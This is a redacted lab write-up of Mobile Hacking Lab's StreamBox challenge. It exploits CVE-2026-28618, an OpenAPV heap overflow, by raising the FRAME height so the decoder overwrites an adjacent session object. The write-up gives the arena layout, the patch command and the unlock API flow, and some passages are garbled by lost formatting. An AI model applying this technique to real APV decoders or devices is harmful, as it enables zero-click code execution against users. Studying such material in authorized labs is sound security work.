
Redacted notes on CVE-2026-28618 / StreamBox APV lab — heap write into a session object via FRAME height mismatch
CVE-2026-28618 in StreamBox — the same decoder class as the in-the-wild Android APV RCE, turned into a heap write against a session object.
This repo is a public, redacted writeup: flags, instance tokens, and the HMAC key are omitted. The APK and make_clip.py belong to Mobile Hacking Lab; they are not mirrored here.

StreamBox is a small APV player. APV is Advanced Professional Video (RFC 9924), Samsung’s royalty-free codec, the same family that shipped in Android’s media stack. The lab pitch is one sentence: the player plays shared clips on arrival.
SEND, VIEW, or streambox://?url=… lands a file in files/incoming.apv and NativeDec.loadClip() runs. No extra tap on the clip.
The bug is CVE-2026-28618: a heap buffer overflow in dec_frm_prepare of OpenAPV. Same class, same decoder as CVE-2026-0006, the zero-click APV RCE exploited in the wild earlier this year.
The lab packages that write as a game. Overflow the hardcoded 64×64 Y plane, smash an adjacent session object, redirect teardown into handlers[2], and the Worker hands back the flag.
The kit is two zips from the lab:
streambox-lab.apk.zip — the playermake_clip.py.zip — how the 64×64 library clips were built, and the bitstream you overflow
PlayerActivity does:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1) is a partial hit (session touched, token mismatch). openTier(2) is win(). PremiumActivity POSTs native state to the lab:
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
On boot the app already did POST /api/instance and NativeDec.setPlatinumToken(token). That token is what the overflow has to write into the session.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
The oapv_imgb_t is hardcoded 64×64, 10-bit YUV. Plane 0 (Y) starts at arena+0. 64 × 64 × 2 = 0x2000. With pad == 0, the session sits on the first byte after Y.
oapvd_decode() writes at the FRAME PBU width/height. A FRAME taller than 64 writes 10-bit samples straight into session.
After decode:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

The lab’s generator draws 32 frames of 64×64 RGB, converts to yuv422p10le, and shells out to the OpenAPV reference encoder:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
Every bundled clip is 32 access units of FRAME 64×64:
[u32be au_size] ['aPv1' + PBUs] × 32

The player still allocates 64×64. Patch every AU frame_height 64 → 72:
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
Share it (SEND / VIEW / streambox://?url=). Auto-play is the exploit.
A cleaner overflow is to edit H in make_clip.py to 72 or 128 and re-encode so extra Y rows are real picture data. Row 64 of a 64-wide 10-bit plane is 128 bytes:
OBMAERTS)g_token)2APV is lossy; exact 10-bit values through oapv_app_enc take QP 0 / near-lossless.
Related public PoC for the parent bug class: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib gets Cloudflare 1010. curl with a mobile UA works.
The Worker rejects original magic with no overflow evidence: session magic intact. ASCII STREAMBO (different bytes from the LE uint64) counts as a write.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win() is what the player shows when loadClip returns 2:

dec_frm_prepareAuthorized lab notes for Mobile Hacking Lab’s StreamBox exercise. No APK, no live tokens, no flag. Do not run these primitives against anything you do not own or have permission to test.